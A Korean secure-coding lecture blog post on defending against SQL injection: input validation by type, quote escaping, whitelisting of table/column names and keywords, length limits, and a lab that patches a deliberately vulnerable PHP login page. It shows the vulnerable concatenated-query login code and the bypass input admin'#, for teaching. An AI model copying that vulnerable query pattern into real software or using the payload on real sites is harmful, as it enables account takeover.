&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;사용자 입력 값을 통해 테이블/컬럼명을 입력 받을 경우 Prepared Statement 사용이 불가능하며, 이때는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;사용자 입력 값 타입에 따른 입력 값 검증 로직을 구현하여 안전하게 사용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;대응 방안(2) - 사용자 입력 값 타입에 따른 입력 값 검증 로직 구현&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;사용자 입력 값 타입&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 숫자 &amp;rarr; 숫자만 입력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 문자 &amp;rarr; 싱글 쿼터에 대한 검증&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 테이블/컬럼 &amp;rarr; board, title, idx&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 키워드 &amp;rarr; asc, desc&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from board where title like '%test%' order by idx desc&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테이블/컬럼, 키워드는 문자형 검증 하듯이 대응하면 취약하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;싱글 쿼터 없이도 공격이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1236&quot; data-origin-height=&quot;777&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9xwQg/btsLsjOldvl/9ApFfmRYDQxq3CCuswBnKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9xwQg/btsLsjOldvl/9ApFfmRYDQxq3CCuswBnKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9xwQg/btsLsjOldvl/9ApFfmRYDQxq3CCuswBnKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9xwQg%2FbtsLsjOldvl%2F9ApFfmRYDQxq3CCuswBnKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1236&quot; height=&quot;777&quot; data-origin-width=&quot;1236&quot; data-origin-height=&quot;777&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;^ &amp;rarr; 문자열 시작&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ &amp;rarr; 문자열 끝&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Pattern.matches &amp;rarr; &lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;지정된 정규식을 컴파일하고 지정된 입력과 일치시키려고 시도한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;is_numeric &amp;rarr; &lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;주어진 값이 숫자 또는 숫자 문자열인지 확인하는 함수, 주어진 값이 숫자면 True 아니면 False 반환&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;JAVA 소스코드는 숫자일 경우에는 True, 숫자가 아닐 경우에는 False를 반환하며, if(!flag)에 의해 숫자일 경우에는 정상적으로 쿼리가 작성되며, 숫자가 아닌 경우에는 에러메시지가 표시된다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;PHP 소스코드는 숫자일 경우에는 True, 숫자가 아닐 경우에는 False를 반환하며, if(!is_numeric($seq))에 의해 숫자일 경우에는 정상적으로 쿼리가 작성되며, 숫자가 아닌 경우에는 에러메시지가 표시된다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1229&quot; data-origin-height=&quot;729&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHzkPi/btsLvUr4DBp/5QyC7TBUvKErUrYoIg2cw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHzkPi/btsLvUr4DBp/5QyC7TBUvKErUrYoIg2cw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHzkPi/btsLvUr4DBp/5QyC7TBUvKErUrYoIg2cw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHzkPi%2FbtsLvUr4DBp%2F5QyC7TBUvKErUrYoIg2cw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1229&quot; height=&quot;729&quot; data-origin-width=&quot;1229&quot; data-origin-height=&quot;729&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문자검증 소스코드(JAVA), MS-SQL, ORACLE 대응방안&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' &amp;rarr; '' 싱글쿼터 2개&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot; &amp;rarr; &quot;&quot; 더블쿼터 2개&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;replace &amp;rarr; 싱글쿼터는 싱글쿼터 2개로, 더블쿼터는 더블쿼터 2개로 바꾼다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL 같은 경우 싱글쿼터를 이스케이프 처리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;싱글쿼터는 특정 기능을 하는 문자인데, 만약 사용자가 싱글쿼터를 검색하고 싶으면, 싱글쿼터를 이스케이프 처리해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;싱글쿼터 2개를 입력하면 순수 사용자 데이터로 싱글쿼터 1개가 인식된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL에서는 싱글쿼터 2개 '' , \' 를 입력하면 싱글쿼터 1개로 인식된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;&amp;nbsp; ,&amp;nbsp; \' &amp;rarr; '&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 MySQL에서 위와 같이 싱글쿼터1개가 싱글쿼터 2개로 치환되는 대응방안을 적용했다는 가정하에,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 \'를 입력하면 SQL Injection 공격이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문자검증 소스코드(JAVA), MySQL 대응방안&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' &amp;rarr; '\&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;\ &amp;rarr; \\&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PHP 에서는 real_escape_string 을 사용하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;real_escape_string&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;- NULL(\x00), \n, \r,&amp;nbsp; \, ', &quot; 문자 앞(왼쪽)에 \를 붙여 사용자의 입력에 의해 악의적인 쿼리문이 실행되는 것을 막는다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;- 해당 함수가 호출되면 특정 문자를 이스케이프 처리한 후의 문자열을 반환한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1238&quot; data-origin-height=&quot;766&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHWVQg/btsLsAh7er7/FM0SDkKNKFbYKsEYkyj6L1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHWVQg/btsLsAh7er7/FM0SDkKNKFbYKsEYkyj6L1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHWVQg/btsLsAh7er7/FM0SDkKNKFbYKsEYkyj6L1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHWVQg%2FbtsLsAh7er7%2FFM0SDkKNKFbYKsEYkyj6L1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1238&quot; height=&quot;766&quot; data-origin-width=&quot;1238&quot; data-origin-height=&quot;766&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테이블/컬럼으로 사용자 입력값을 받을 경우, 정규표현식을 활용하여 화이트리스트 형식으로 검색에 필요한 문자,숫자, 특수문자만 입력받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기에 길이제한 방식을 추가하면 SQL Injection이 더 어려워지게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테이블명에 들어가는 특수문자가 어떤게 있는지 파악한 상태에서 특정 특수문자만 허용하는 방식을 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 테이블/컬럼명에 특수문자나, 숫자가 없다면 특수문자와 숫자는 제외한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테이블/컬럼명에 있는 문자만 허용하는 화이트리스트 방식을 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1240&quot; data-origin-height=&quot;502&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/E4tgW/btsLsAPUgtR/yyAqWwiKxA8Z4zsuXkcUS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/E4tgW/btsLsAPUgtR/yyAqWwiKxA8Z4zsuXkcUS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/E4tgW/btsLsAPUgtR/yyAqWwiKxA8Z4zsuXkcUS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FE4tgW%2FbtsLsAPUgtR%2FyyAqWwiKxA8Z4zsuXkcUS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1240&quot; height=&quot;502&quot; data-origin-width=&quot;1240&quot; data-origin-height=&quot;502&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특정 키워드는 ASC,DESC 등으로 한정되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 검증은 equals 메소드를 사용하여 값을 비교하여 사용자 입력값이 바인딩되는것이 아닌, Server-Side에서 작성된게 바인딩되는 형태로 SQL Injection에 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;equals &amp;rarr; 두 인스턴스의 주소값을 비교하여 같은 인스턴스인지 확인, 같으면 True 다르면 False 반환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;대응 방안(3) - 길이 제한&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1238&quot; data-origin-height=&quot;738&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EAJUQ/btsLx9347T4/r2Dh8DdIsXiLxIK6EGgkf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EAJUQ/btsLx9347T4/r2Dh8DdIsXiLxIK6EGgkf1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EAJUQ/btsLx9347T4/r2Dh8DdIsXiLxIK6EGgkf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEAJUQ%2FbtsLx9347T4%2Fr2Dh8DdIsXiLxIK6EGgkf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1238&quot; height=&quot;738&quot; data-origin-width=&quot;1238&quot; data-origin-height=&quot;738&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 입력값에 대해서 들어오는 문자의 길이를 검증하는 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문자의 길이값이 초과되면 검증 로직에 의해 에러 메시지를 출력하는 소스코드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL Injection 취약점은 길이 제한에 민감하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;길이 제한 검증 방법은 일종의 보험으로 사용한다. (무조건 사용은 아니지만 할 수 있으면 한다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단독으로 사용하지 않고 Prepared Statement 또는 사용자 입력값 검증 로직과 같이 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습2-10 취약 환경 시큐어 코딩 적용 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시큐어 코딩 실습 전에 새로운 실습 환경을 추가한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 웹 사이트는 htdocs 폴더에 넣고 MySQL에서 DB 및 테이블을 추가하는 방식&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;강의 내 취약 환경 구축 자료 다운로드 후 C:\APM_Setup\htdocs 폴더 내에 압축 해제한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;폴더명은 insecure_website2 로 변경한다. (경로: C:\APM_Setup\htdocs\insecure_website2)&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;압축 해제 후 common.php 내 mysql 패스워드를 test로 변경, db는 pentest2로 변경해준다. (기존에 pentest DB가 존재하므로)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;338&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PFQv9/btsLyDDZ9dL/YjjbfjcxPdf3AC3xSxkzUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PFQv9/btsLyDDZ9dL/YjjbfjcxPdf3AC3xSxkzUK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PFQv9/btsLyDDZ9dL/YjjbfjcxPdf3AC3xSxkzUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPFQv9%2FbtsLyDDZ9dL%2FYjjbfjcxPdf3AC3xSxkzUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;338&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;338&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;insecure_website2 폴더 내 query.txt 쿼리 중 DB 생성 및 사용 쿼리를 변경해준다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;create database pentest2;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;use pentest2;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;create와 use 부분을 변경 후 전체 명령어를 &lt;span style=&quot;letter-spacing: 0px;&quot;&gt;복사해서 MySQL CMD 창에 그대로 붙여넣는다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;쿼리 복붙 후 DB, 테이블 생성 및 데이터 입력이 완료되면 insecure 홈페이지에 접속을 시도한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;933&quot; data-origin-height=&quot;412&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byi5xJ/btsLw3YbtRD/yFCCVuYEKgv5k3N8DYqQk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byi5xJ/btsLw3YbtRD/yFCCVuYEKgv5k3N8DYqQk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byi5xJ/btsLw3YbtRD/yFCCVuYEKgv5k3N8DYqQk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbyi5xJ%2FbtsLw3YbtRD%2FyFCCVuYEKgv5k3N8DYqQk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;933&quot; height=&quot;412&quot; data-origin-width=&quot;933&quot; data-origin-height=&quot;412&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;insecure_website2 에 정상적으로 접속된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존의 insecure_website는 시큐어 코딩에 사용하며, 새로운 insecure_website2는 백업용으로 놔둔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL Injection에 취약한 어플리케이션 기능은 대표적으로 게시판에서 사용하는 기능들로 볼 수 있다. 검색, 게시글, 로그인, 회원가입 기능 등등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터베이스와 연결되어 있는 기능들은 잠재적인 SQL Injection&amp;nbsp; 위협에 노출되어 있다고 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 페이지 중 로그인 페이지에 대한 시큐어 코딩을 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;login.php 파일을 연다. 보통 Form 페이지와 Action 페이지가 따로 있지만 login.php에는 같이 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; login.php 의 Action 페이지 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735050866706&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  $db_conn = mysql_conn();
  
  if(!empty($_SESSION[&quot;id&quot;])) {
    echo &quot;&amp;lt;script&amp;gt;location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
    exit();
  }

  $id = $_POST[&quot;id&quot;];
  $password = $_POST[&quot;password&quot;];
  
  if(!empty($id) &amp;amp;&amp;amp; !empty($password)) {
    $password = md5($password);
    $query = &quot;select * from members where id='{$id}' and password='{$password}'&quot;;
    $result = $db_conn-&amp;gt;query($query);
    $num = $result-&amp;gt;num_rows;

    if($num != 0) {
      $row = $result-&amp;gt;fetch_assoc();
      $_SESSION[&quot;id&quot;] = $row[&quot;id&quot;];
      $_SESSION[&quot;name&quot;] = $row[&quot;name&quot;];
      echo &quot;&amp;lt;script&amp;gt;location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
    } else {
      echo &quot;&amp;lt;script&amp;gt;alert('아이디 혹은 패스워드가 틀렸습니다.');location.href='index.php?page=login';&amp;lt;/script&amp;gt;&quot;;
      exit();
    }
  }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패스워드는 MD5 해시함수가 적용되어 있어 따로 검증이 필요없어 보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$id 입력값에 대해서 시큐어코딩을 적용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드의 위치에 따라 달라지는데 $query 뒤에 코드를 작성하게 되면 $id 값 내에 싱글쿼터가 존재한다면, 해당 구문을 종료시키는 로직으로 코드를 작성해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$query 이전에 코드를 작성하게 되면 $id 값 내에 싱글쿼터가 존재한다면 싱글쿼터를 이스케이프 처리(싱글쿼터 기능이 아닌 단순 문자열로 인식하도록 처리)를 해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$db_conn &amp;rarr; DB 객체 생성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;real_escape_string &amp;rarr; 문자열 이스케이프 처리&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$id = $db_conn-&amp;gt;realescape_string($id); 를 추가한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; login.php 의 Action 페이지 - $id 에 시큐어코딩 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735136439596&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  $db_conn = mysql_conn();
  
  if(!empty($_SESSION[&quot;id&quot;])) {
    echo &quot;&amp;lt;script&amp;gt;location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
    exit();
  }

  $id = $_POST[&quot;id&quot;];
  $password = $_POST[&quot;password&quot;];
  
  if(!empty($id) &amp;amp;&amp;amp; !empty($password)) { 
    $id = $db_conn-&amp;gt;real_escape_string($id);
    $password = md5($password);
    $query = &quot;select * from members where id='{$id}' and password='{$password}'&quot;;
    $result = $db_conn-&amp;gt;query($query);
    $num = $result-&amp;gt;num_rows;

    if($num != 0) {
      $row = $result-&amp;gt;fetch_assoc();
      $_SESSION[&quot;id&quot;] = $row[&quot;id&quot;];
      $_SESSION[&quot;name&quot;] = $row[&quot;name&quot;];
      echo &quot;&amp;lt;script&amp;gt;location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
    } else {
      echo &quot;&amp;lt;script&amp;gt;alert('아이디 혹은 패스워드가 틀렸습니다.');location.href='index.php?page=login';&amp;lt;/script&amp;gt;&quot;;
      exit();
    }
  }
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시큐어 코딩 전에는 로그인 시 admin'# 입력 후 임의의 비밀번호를 입력하면 admin 계정으로 로그인이 가능했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 시 서버에서 DB로 아래와 같은 SQL 구문을 요청할 것으로 예상된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from board where id='&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;admin'#&lt;/b&gt;&lt;/span&gt;' and password=1234&lt;/p&gt;
